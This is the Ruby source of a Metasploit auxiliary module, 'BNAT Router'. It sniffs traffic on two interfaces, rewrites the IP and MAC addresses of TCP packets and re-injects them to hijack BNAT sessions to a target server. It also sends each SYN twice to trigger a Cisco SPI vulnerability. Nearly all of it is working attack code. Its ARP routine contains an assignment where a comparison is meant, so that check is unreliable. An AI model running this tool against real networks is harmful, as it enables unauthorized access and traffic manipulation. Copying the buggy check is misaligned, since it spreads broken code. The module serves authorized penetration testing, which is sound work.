##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  def initialize
    super(
      'Name'         => 'BNAT Router',
      'Description'  => %q{
          This module will properly route BNAT traffic and allow for connections to be
        established to machines on ports which might not otherwise be accessible.},
      'Author'       =>
        [
            'bannedit',
            'Jonathan Claudius',
        ],
      'License'      => MSF_LICENSE,
      'References'   =>
        [
          [ 'URL', 'https://github.com/claudijd/bnat' ],
          [ 'URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels']
        ]
    )
    register_options(
        [
          OptString.new('OUTINF',    [true, 'The external interface connected to the internet', 'eth1']),
          OptString.new('ININF',     [true, 'The internal interface connected to the network', 'eth2']),
          OptString.new('CLIENTIP',  [true, 'The ip of the client behing the BNAT router', '192.168.3.2']),
          OptString.new('SERVERIP',  [true, 'The ip of the server you are targeting', '1.1.2.1']),
          OptString.new('BNATIP',    [true, 'The ip of the bnat response you are getting', '1.1.2.2']),
        ],self.class)
  end

  def run
    clientip = datastore['CLIENTIP']
    serverip = datastore['SERVERIP']
    bnatip =   datastore['BNATIP']
    outint =   datastore['OUTINF']
    inint =    datastore['ININF']

    clientmac = arp2(clientip,inint)
    print_line("Obtained Client MAC: #{clientmac}")
    servermac = arp2(serverip,outint)
    print_line("Obtained Server MAC: #{servermac}")
    bnatmac = arp2(bnatip,outint)
    print_line("Obtained BNAT MAC: #{bnatmac}\n\n")

    # Create Interface Specific Configs
    outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config
    inconfig =  PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config

    # Set Captures for Traffic coming from Outside and from Inside respectively
    outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" )
    print_line("Now listening on #{outint}...")

    inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" )
    print_line("Now listening on #{inint}...\n\n")

    # Start Thread from Outside Processing
    fromout = Thread.new do
      loop do
        outpcap.stream.each do |pkt|
          packet = PacketFu::Packet.parse(pkt)

          # Build a shell packet that will never hit the wire as a hack to get desired mac's
          shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows")
          shell_pkt.ip_daddr = clientip
          shell_pkt.recalc

          # Mangle Received Packet and Drop on the Wire
          packet.ip_saddr = serverip
          packet.ip_daddr = clientip
          packet.eth_saddr = shell_pkt.eth_saddr
          packet.eth_daddr = clientmac
          packet.recalc
          inj = PacketFu::Inject.new( :iface => "#{inint}", :config => inconfig )
          inj.a2w(:array => [packet.to_s])
          print_status("inpacket processed")
        end
      end
    end

    # Start Thread from Inside Processing
    fromin = Thread.new do
      loop do
        inpcap.stream.each do |pkt|
          packet = PacketFu::Packet.parse(pkt)

          if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
            packet.ip_daddr = serverip
            packet.eth_daddr = servermac
          else
            packet.ip_daddr = bnatip
            packet.eth_daddr = bnatmac
          end

          # Build a shell packet that will never hit the wire as a hack to get desired mac's
          shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows")
          shell_pkt.ip_daddr = serverip
          shell_pkt.recalc

          # Mangle Received Packet and Drop on the Wire
          packet.eth_saddr = shell_pkt.eth_saddr
          packet.ip_saddr=shell_pkt.ip_saddr
          packet.recalc
          inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig )
          inj.a2w(:array => [packet.to_s])

          # Trigger Cisco SPI Vulnerability by Double-tapping the SYN
          if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
            select(nil, nil, nil, 0.75)
            inj.a2w(:array => [packet.to_s])
          end
          print_status("outpacket processed")
        end
      end
    end
    fromout.join
    fromin.join
  end

  def arp2(target_ip,int)
    config = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{int}").config
    arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows")
    arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = config[:eth_saddr]
    arp_pkt.eth_daddr = "ff:ff:ff:ff:ff:ff"
    arp_pkt.arp_daddr_mac = "00:00:00:00:00:00"
    arp_pkt.arp_saddr_ip = config[:ip_saddr]
    arp_pkt.arp_daddr_ip = target_ip
    cap = PacketFu::Capture.new(:iface => config[:iface], :start => true, :filter => "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}")
    injarp = PacketFu::Inject.new(:iface => config[:iface])
    injarp.a2w(:array => [arp_pkt.to_s])
    target_mac = nil

    while target_mac.nil?
      if cap.save > 0
        arp_response = PacketFu::Packet.parse(cap.array[0])
        target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip = target_ip
      end
      select(nil, nil, nil, 0.1) # Check for a response ten times per second.
    end
    return target_mac
  end
end
